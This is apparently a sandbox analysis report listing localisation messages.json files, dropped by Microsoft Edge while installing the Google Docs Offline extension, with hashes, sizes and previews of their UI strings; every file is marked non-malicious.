Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\hr\messages.json

Download File

